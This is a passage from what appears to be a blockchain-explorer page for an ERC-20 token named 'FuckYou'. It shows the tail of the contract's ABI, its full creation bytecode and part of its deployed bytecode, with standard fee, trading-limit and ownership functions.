","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pairV2Addr","type":"address"}],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setUniPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"toggleSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokensDevAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensMarketingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateLimitFeeAmountForSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

600b805461ffff191690556101a0604052600060a081905260c081905260e081905261010081905261012081905261014081905261016081905261018081905260158190556016819055601781905560188190556019819055601a819055601b819055601c55601d80546001600160a01b031990811673ce7fce0d399bf49345ed7834561dca1443bea2f517909155601e80549091167310a4c331a9071c02dd4067bf9511e63ddcb153fd179055348015620000ba57600080fd5b50604051806040016040528060078152602001664675636b596f7560c81b815250604051806040016040528060078152602001664655434b594f5560c81b81525081600390816200010c919062000712565b5060046200011b828262000712565b5050506000620001306200049d60201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052620001a690600019620004a1565b506000601a819055601c8190556001601b81905590620001c79080620007f4565b620001d39190620007f4565b6019556000601681905560188190556001601781905590620001f69080620007f4565b620002029190620007f4565b6015556b033b2e3c9fd0803ce8000000612710620002228260056200080a565b6200022e919062000824565b600a556064620002408260036200080a565b6200024c919062000824565b600f5560646200025e8260036200080a565b6200026a919062000824565b600d5560646200027c8260036200080a565b62000288919062000824565b600e55600160066000620002a46005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601e548216815260068452828120805486166001908117909155601d5483168252838220805487168217905560805190921680825283822080548716841790557f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e2280548716841790553082528382208054871684179055815260089384905291822080549094168117909355620003716005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601e54821681526008909352818320805485166001908117909155601d5490911683528183208054851682179055308352908220805484168217905561dead82527f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd0933429980549093168117909255600790620004216005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526007909352818320805485166001908117909155601e54821684528284208054861682179055601d54909116835291208054909216179055620004963382620004ba565b5062000847565b3390565b6000620004b0338484620005a2565b5060015b92915050565b6001600160a01b038216620005165760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b60025462000525908262000603565b6002556001600160a01b0382166000908152602081905260409020546200054d908262000603565b6001600160a01b038316600081815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600080620006128385620007f4565b905083811015620006665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016200050d565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200069857607f821691505b602082108103620006b957634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200070d57600081815260208120601f850160051c81016020861015620006e85750805b601f850160051c820191505b818110156200070957828155600101620006f4565b5050505b505050565b81516001600160401b038111156200072e576200072e6200066d565b62000746816200073f845462000683565b84620006bf565b602080601f8311600181146200077e5760008415620007655750858301515b600019600386901b1c1916600185901b17855562000709565b600085815260208120601f198616915b82811015620007af578886015182559484019460019091019084016200078e565b5085821015620007ce5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b80820180821115620004b457620004b4620007de565b8082028115828204841417620004b457620004b4620007de565b6000826200084257634e487b7160e01b600052601260045260246000fd5b500490565b6080516121876200088d60003960008181610789015281816112ab01528181611b1701528181611bd001528181611c0c01528181611c7e0152611cda01526121876000f3fe6080604052600436106102295760003560e01c80637571336a11610123578063c0246668116100ab578063e0b56ff31161006f578063e0b56ff314610699578063e16830a814610707578063eb32522114610727578063f2fde38b14610757578063f887ea401461077757600080fd5b8063c0246668146105de578063d0189233146105fe578063d6dacb4414610614578063d830678614610633578063dd62ed3e1461065357600080fd5b8063963932b4116100f2578063963932b414610538578063a28669fd14610558578063a457c2d714610588578063a9059cbb146105a8578063aa4bde28146105c857600080fd5b80637571336a146104cf57806388e765ff146104ef5780638da5cb5b1461050557806395d89b411461052357600080fd5b806339509351116101b15780635066b034116101755780635066b0341461043957806366d602ae1461045957806370a082311461046f578063715018a6146104a5578063751039fc146104ba57600080fd5b8063395093511461037d5780633ccfd60b1461039d5780634763ac7a146103b257806349bd5a5e146103c85780634fbee1931461040057600080fd5b806318160ddd116101f857806318160ddd146102ec5780631a8145bb1461030b5780631c6e8a751461032157806323b872dd14610341578063313ce5671461036157600080fd5b806306fdde0314610241578063095ea7b31461026c5780630b1c71821461029c57806310d5de53146102bc57600080fd5b3661023c5730330361023a57600080fd5b005b600080fd5b34801561024d57600080fd5b506102566107ab565b6040516102639190611d86565b60405180910390f35b34801561027857600080fd5b5061028c610287366004611dec565b61083d565b6040519015158152602001610263565b3480156102a857600080fd5b5061023a6102b7366004611e28565b610854565b3480156102c857600080fd5b5061028c6102d7366004611e5d565b60086020526000908152604090205460ff1681565b3480156102f857600080fd5b506002545b604051908152602001610263565b34801561031757600080fd5b506102fd60135481565b34801561032d57600080fd5b5061023a61033c366004611e7a565b610925565b34801561034d57600080fd5b5061028c61035c366004611e95565b610969565b34801561036d57600080fd5b5060405160128152602001610263565b34801561038957600080fd5b5061028c610398366004611dec565b6109d2565b3480156103a957600080fd5b5061028c610a08565b3480156103be57600080fd5b506102fd60125481565b3480156103d457600080fd5b506010546103e8906001600160a01b031681565b6040516001600160a01b039091168152602001610263565b34801561040c57600080fd5b5061028c61041b366004611e5d565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561044557600080fd5b5061023a610454366004611e5d565b610a67565b34801561046557600080fd5b506102fd600e5481565b34801561047b57600080fd5b506102fd61048a366004611e5d565b6001600160a01b031660009081526020819052604090205490565b3480156104b157600080fd5b5061023a610b29565b3480156104c657600080fd5b5061023a610b9d565b3480156104db57600080fd5b5061023a6104ea366004611e28565b610be0565b3480156104fb57600080fd5b506102fd600d5481565b34801561051157600080fd5b506005546001600160a01b03166103e8565b34801561052f57600080fd5b50610256610c35565b34801561054457600080fd5b5061028c610553366004611ed6565b610c44565b34801561056457600080fd5b5061028c610573366004611e5d565b60096020526000908152604090205460ff1681565b34801561059457600080fd5b5061028c6105a3366004611dec565b610c7f565b3480156105b457600080fd5b5061028c6105c3366004611dec565b610cce565b3480156105d457600080fd5b506102fd600f5481565b3480156105ea57600080fd5b5061023a6105f9366004611e28565b610cdb565b34801561060a57600080fd5b506102fd60145481565b34801561062057600080fd5b50600b5461028c90610100900460ff1681565b34801561063f57600080fd5b50600b5461028c9062010000900460ff1681565b34801561065f57600080fd5b506102fd61066e366004611eef565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156106a557600080fd5b50601554601654601754601854601954601a54601b54601c546106cc979695949392919088565b604080519889526020890197909752958701949094526060860192909252608085015260a084015260c083015260e082015261010001610263565b34801561071357600080fd5b5061023a610722366004611e28565b610d30565b34801561073357600080fd5b5061028c610742366004611e5d565b60066020526000908152604090205460ff1681565b34801561076357600080fd5b5061023a610772366004611e5d565b610d85565b34801561078357600080fd5b506103e87f000000000000000000000000000000000000000000000000000000000000000081565b6060600380546107ba90611f28565b80601f01602080910402602001604051908101604052809291908181526020018280546107e690611f28565b80156108335780601f1061080857610100808354040283529160200191610833565b820191906000526020600020905b81548152906001019060200180831161081657829003601f168201915b5050505050905090565b600061084a338484610e70565b5060015b92915050565b6005546001600160a01b031633146108875760405162461bcd60e51b815260040161087e90611f62565b60405180910390fd5b6010546001600160a01b03908116908316036108fa5760405162461bcd60e51b815260206004820152602c60248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201526b5f6175746f6d6174654d4d7360a01b606482015260840161087e565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461094f5760405162461bcd60e51b815260040161087e90611f62565b600b80549115156101000261ff0019909216919091179055565b6000610976848484610ed2565b6109c884336109c38560405180606001604052806028815260200161212a602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906115cd565b610e70565b5060019392505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161084a9185906109c39086611607565b601e5460405160009147916001600160a01b039091169082908481818185875af1925050503d8060008114610a59576040519150601f19603f3d011682016040523d82523d6000602084013e610a5e565b606091505b50909392505050565b6005546001600160a01b03163314610a915760405162461bcd60e51b815260040161087e90611f62565b600b805443600c55601080546001600160a01b03199081166001600160a01b03958616908117835561ffff1990931661010117909355601e546011805491861691909416179092556000908152600960209081526040808320805460ff199081166001908117909255855487168552600884528285208054821683179055945490951683526006909152902080549091169091179055565b6005546001600160a01b03163314610b535760405162461bcd60e51b815260040161087e90611f62565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610bc75760405162461bcd60e51b815260040161087e90611f62565b610bd36103e88061166d565b610bde6103e86116e2565b565b6005546001600160a01b03163314610c0a5760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6060600480546107ba90611f28565b6005546000906001600160a01b03163314610c715760405162461bcd60e51b815260040161087e90611f62565b50600a81905560015b919050565b600061084a33846109c3856040518060600160405280602581526020016120df602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906115cd565b600061084a338484610ed2565b6005546001600160a01b03163314610d055760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610d5a5760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610daf5760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b038116610e145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161087e565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b80600003610eeb57610ee683836000611709565b505050565b6005546001600160a01b03848116911614801590610f1757506005546001600160a01b03838116911614155b8015610f2c5750600b5462010000900460ff16155b156111bb57600b5460ff16610fbf576001600160a01b03831660009081526007602052604090205460ff1680610f7a57506001600160a01b03821660009081526007602052604090205460ff165b610fbf5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161087e565b6001600160a01b03831660009081526009602052604090205460ff16801561100057506001600160a01b03821660009081526008602052604090205460ff16155b1561107a57600d548111156110755760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161087e565b611131565b6001600160a01b03821660009081526009602052604090205460ff1680156110bb57506001600160a01b03831660009081526008602052604090205460ff16155b1561113157600e548111156111315760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760511b606482015260840161087e565b6001600160a01b03821660009081526006602052604090205460ff166111bb57600f546001600160a01b0383166000908152602081905260409020546111779083611fad565b11156111bb5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161087e565b30600090815260208190526040902054600a54600b549082101590610100900460ff1680156111e75750805b80156111fc5750600b5462010000900460ff16155b801561122057506001600160a01b03841660009081526009602052604090205460ff165b801561124557506001600160a01b03851660009081526007602052604090205460ff16155b801561126a57506001600160a01b03841660009081526007602052604090205460ff16155b1561129557600b805462ff00001916620100001790556112886117c6565b600b805462ff0000191690555b600b5462010000900460ff161580156112e057507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b031614155b80156112fa57506010546001600160a01b03858116911614155b80156113135750601d546001600160a01b038681169116145b1561132b57601e80546001600160a01b031916301790555b600b546001600160a01b03861660009081526007602052604090205460ff6201000090920482161591168061137857506001600160a01b03851660009081526007602052604090205460ff165b15611381575060005b80156115ba576000600c5443101561140c576113a960646113a38760636119ba565b90611a3c565b905060636113b882605a611fc0565b6113c29190611fd7565b601260008282546113d39190611fad565b90915550606390506113e6826009611fc0565b6113f09190611fd7565b601460008282546114019190611fad565b9091555061159b9050565b6001600160a01b03861660009081526009602052604090205460ff168015611435575060195415155b156114c35760195461144f906064906113a39088906119ba565b601954601c54919250906114639083611fc0565b61146d9190611fd7565b6013600082825461147e9190611fad565b9091555050601954601a546114939083611fc0565b61149d9190611fd7565b601260008282546114ae9190611fad565b9091555050601954601b546113e69083611fc0565b6001600160a01b03871660009081526009602052604090205460ff1680156114ec575060155415155b1561159b57601554611506906064906113a39088906119ba565b6015546018549192509061151a9083611fc0565b6115249190611fd7565b601360008282546115359190611fad565b909155505060155460165461154a9083611fc0565b6115549190611fd7565b601260008282546115659190611fad565b909155505060155460175461157a9083611fc0565b6115849190611fd7565b601460008282546115959190611fad565b90915550505b80156115ac576115ac873083611709565b6115b68186611ff9565b9450505b6115c5868686611709565b505050505050565b600081848411156115f15760405162461bcd60e51b815260040161087e9190611d86565b5060006115fe8486611ff9565b95945050505050565b6000806116148385611fad565b9050838110156116665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161087e565b9392505050565b6103e88261167a60025490565b6116849190611fc0565b61168e9190611fd7565b600d556010546011546116ba916001600160a01b0390811691166b033b2e3c9fd0803ce8000000610e70565b6103e8816116c760025490565b6116d19190611fc0565b6116db9190611fd7565b600e555050565b6103e8816116ef60025490565b6116f99190611fc0565b6117039190611fd7565b600f5550565b61174681604051806060016040528060268152602001612104602691396001600160a01b03861660009081526020819052604090205491906115cd565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546117759082611607565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610ec5565b30600090815260208190526040812054905060006014546012546013546117ed9190611fad565b6117f79190611fad565b905081600003611805575050565b600a54611813906023611fc0565b82111561182b57600a54611828906023611fc0565b91505b60006002826013548561183e9190611fc0565b6118489190611fd7565b6118529190611fd7565b905060006118608483611a7e565b90504761186c82611ac0565b60006118784783611a7e565b90506000611895866113a3601254856119ba90919063ffffffff16565b905060006118b2876113a3601454866119ba90919063ffffffff16565b905060006118c08284611fad565b6118ca9085611ff9565b600060138190556012819055601455905086158015906118ea5750600081115b15611933576118f98782611c78565b60408051878152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15b601e546001600160a01b03166108fc61194c8547611ff9565b6040518115909202916000818181858888f19350505050158015611974573d6000803e3d6000fd5b50601d546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156119ae573d6000803e3d6000fd5b50505050505050505050565b6000826000036119cc5750600061084e565b60006119d88385611fc0565b9050826119e58583611fd7565b146116665760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161087e565b600061166683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d58565b600061166683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115cd565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611af557611af561200c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b979190612022565b81600181518110611baa57611baa61200c565b60200260200101906001600160a01b031690816001600160a01b031681525050611bf5307f000000000000000000000000000000000000000000000000000000000000000084610e70565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611c4a90859060009086903090429060040161203f565b600060405180830381600087803b158015611c6457600080fd5b505af11580156115c5573d6000803e3d6000fd5b611ca3307f000000000000000000000000000000000000000000000000000000000000000084610e70565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f305d71990839060c40160606040518083038185885af1158015611d2c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611d5191906120b0565b5050505050565b60008183611d795760405162461bcd60e51b815260040161087e9190611d86565b5060006115fe8486611fd7565b600060208083528351808285015260005b81811015611db357858101830151858201604001528201611d97565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611de957600080fd5b50565b60008060408385031215611dff57600080fd5b8235611e0a81611dd4565b946020939093013593505050565b80358015158114610c7a57600080fd5b60008060408385031215611e3b57600080fd5b8235611e4681611dd4565b9150611e5460208401611e18565b90509250929050565b600060208284031215611e6f57600080fd5b813561166681611dd4565b600060208284031215611e8c57600080fd5b61166682611e18565b600080600060608486031215611eaa57600080fd5b8335611eb581611dd4565b92506020840135611ec581611dd4565b929592945050506040919091013590565b600060208284031215611ee857600080fd5b5035919050565b60008060408385031215611f0257600080fd5b8235611f0d81611dd4565b91506020830135611f1d81611dd4565b809150509250929050565b600181811c90821680611f3c57607f821691505b602082108103611f5c57634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561084e5761084e611f97565b808202811582820484141761084e5761084e611f97565b600082611ff457634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561084e5761084e611f97565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561203457600080fd5b815161166681611dd4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561208f5784516001600160a01b03168352938301939183019160010161206a565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156120c557600080fd5b835192506020840151915060408401519050925092509256fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220337bd57b6533ce874980f88e9e9f97957cce556e576e72d8a4069992122f788f64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106102295760003560e01c80637571336a11610123578063c0246668116100ab578063e0b56ff31161006f578063e0b56ff314610699578063e16830a814610707578063eb32522114610727578063f2fde38b14610757578063f887ea401461077757600080fd5b8063c0246668146105de578063d0189233146105fe578063d6dacb4414610614578063d830678614610633578063dd62ed3e1461065357600080fd5b8063963932b4116100f2578063963932b414610538578063a28669fd14610558578063a457c2d714610588578063a9059cbb146105a8578063aa4bde28146105c857600080fd5b80637571336a146104cf57806388e765ff146104ef5780638da5cb5b1461050557806395d89b411461052357600080fd5b806339509351116101b15780635066b034116101755780635066b0341461043957806366d602ae1461045957806370a082311461046f578063715018a6146104a5578063751039fc146104ba57600080fd5b8063395093511461037d5780633ccfd60b1461039d5780634763ac7a146103b257806349bd5a5e146103c85780634fbee1931461040057600080fd5b806318160ddd116101f857806318160ddd146102ec5780631a8145bb1461030b5780631c6e8a751461032157806323b872dd14610341578063313ce5671461036157600080fd5b806306fdde0314610241578063095ea7b31461026c5780630b1c71821461029c57806310d5de53146102bc57600080fd5b3661023c5730330361023a57600080fd5b005b600080fd5b34801561024d57600080fd5b506102566107ab565b6040516102639190611d86565b60405180910390f35b34801561027857600080fd5b5061028c610287366004611dec565b61083d565b6040519015158152602001610263565b3480156102a857600080fd5b5061023a6102b7366004611e28565b610854565b3480156102c857600080fd5b5061028c6102d7366004611e5d565b60086020526000908152604090205460ff1681565b3480156102f857600080fd5b506002545b604051908152602001610263565b34801561031757600080fd5b506102fd60135481565b34801561032d57600080fd5b5061023a61033c366004611e7a565b610925565b34801561034d57600080fd5b5061028c61035c366004611e95565b610969565b34801561036d57600080fd5b5060405160128152602001610263565b34801561038957600080fd5b5061028c610398366004611dec565b6109d2565b3480156103a957600080fd5b5061028c610a08565b3480156103be57600080fd5b506102fd60125481565b3480156103d457600080fd5b506010546103e8906001600160a01b031681565b6040516001600160a01b039091168152602001610263565b34801561040c57600080fd5b5061028c61041b366004611e5d565b6001600160a01b031660009081526007602052604090205460ff1690565b34801561044557600080fd5b5061023a610454366004611e5d565b610a67565b34801561046557600080fd5b506102fd600e5481565b34801561047b57600080fd5b506102fd61048a366004611e5d565b6001600160a01b031660009081526020819052604090205490565b3480156104b157600080fd5b5061023a610b29565b3480156104c657600080fd5b5061023a610b9d565b3480156104db57600080fd5b5061023a6104ea366004611e28565b610be0565b3480156104fb57600080fd5b506102fd600d5481565b34801561051157600080fd5b506005546001600160a01b03166103e8565b34801561052f57600080fd5b50610256610c35565b34801561054457600080fd5b5061028c610553366004611ed6565b610c44565b34801561056457600080fd5b5061028c610573366004611e5d565b60096020526000908152604090205460ff1681565b34801561059457600080fd5b5061028c6105a3366004611dec565b610c7f565b3480156105b457600080fd5b5061028c6105c3366004611dec565b610cce565b3480156105d457600080fd5b506102fd600f5481565b3480156105ea57600080fd5b5061023a6105f9366004611e28565b610cdb565b34801561060a57600080fd5b506102fd60145481565b34801561062057600080fd5b50600b5461028c90610100900460ff1681565b34801561063f57600080fd5b50600b5461028c9062010000900460ff1681565b34801561065f57600080fd5b506102fd61066e366004611eef565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156106a557600080fd5b50601554601654601754601854601954601a54601b54601c546106cc979695949392919088565b604080519889526020890197909752958701949094526060860192909252608085015260a084015260c083015260e082015261010001610263565b34801561071357600080fd5b5061023a610722366004611e28565b610d30565b34801561073357600080fd5b5061028c610742366004611e5d565b60066020526000908152604090205460ff1681565b34801561076357600080fd5b5061023a610772366004611e5d565b610d85565b34801561078357600080fd5b506103e87f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6060600380546107ba90611f28565b80601f01602080910402602001604051908101604052809291908181526020018280546107e690611f28565b80156108335780601f1061080857610100808354040283529160200191610833565b820191906000526020600020905b81548152906001019060200180831161081657829003601f168201915b5050505050905090565b600061084a338484610e70565b5060015b92915050565b6005546001600160a01b031633146108875760405162461bcd60e51b815260040161087e90611f62565b60405180910390fd5b6010546001600160a01b03908116908316036108fa5760405162461bcd60e51b815260206004820152602c60248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201526b5f6175746f6d6174654d4d7360a01b606482015260840161087e565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461094f5760405162461bcd60e51b815260040161087e90611f62565b600b80549115156101000261ff0019909216919091179055565b6000610976848484610ed2565b6109c884336109c38560405180606001604052806028815260200161212a602891396001600160a01b038a16600090815260016020908152604080832033845290915290205491906115cd565b610e70565b5060019392505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161084a9185906109c39086611607565b601e5460405160009147916001600160a01b039091169082908481818185875af1925050503d8060008114610a59576040519150601f19603f3d011682016040523d82523d6000602084013e610a5e565b606091505b50909392505050565b6005546001600160a01b03163314610a915760405162461bcd60e51b815260040161087e90611f62565b600b805443600c55601080546001600160a01b03199081166001600160a01b03958616908117835561ffff1990931661010117909355601e546011805491861691909416179092556000908152600960209081526040808320805460ff199081166001908117909255855487168552600884528285208054821683179055945490951683526006909152902080549091169091179055565b6005546001600160a01b03163314610b535760405162461bcd60e51b815260040161087e90611f62565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610bc75760405162461bcd60e51b815260040161087e90611f62565b610bd36103e88061166d565b610bde6103e86116e2565b565b6005546001600160a01b03163314610c0a5760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6060600480546107ba90611f28565b6005546000906001600160a01b03163314610c715760405162461bcd60e51b815260040161087e90611f62565b50600a81905560015b919050565b600061084a33846109c3856040518060600160405280602581526020016120df602591393360009081526001602090815260408083206001600160a01b038d16845290915290205491906115cd565b600061084a338484610ed2565b6005546001600160a01b03163314610d055760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610d5a5760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610daf5760405162461bcd60e51b815260040161087e90611f62565b6001600160a01b038116610e145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161087e565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b80600003610eeb57610ee683836000611709565b505050565b6005546001600160a01b03848116911614801590610f1757506005546001600160a01b03838116911614155b8015610f2c5750600b5462010000900460ff16155b156111bb57600b5460ff16610fbf576001600160a01b03831660009081526007602052604090205460ff1680610f7a57506001600160a01b03821660009081526007602052604090205460ff165b610fbf5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161087e565b6001600160a01b03831660009081526009602052604090205460ff16801561100057506001600160a01b03821660009081526008602052604090205460ff16155b1561107a57600d548111156110755760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527436b0bc2a3930b739b0b1ba34b7b720b6b7bab73a1760591b606482015260840161087e565b611131565b6001600160a01b03821660009081526009602052604090205460ff1680156110bb57506001600160a01b03831660009081526008602052604090205460ff16155b1561113157600e548111156111315760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152751036b0bc2a3930b739b0b1ba34b7b720b6b7bab73a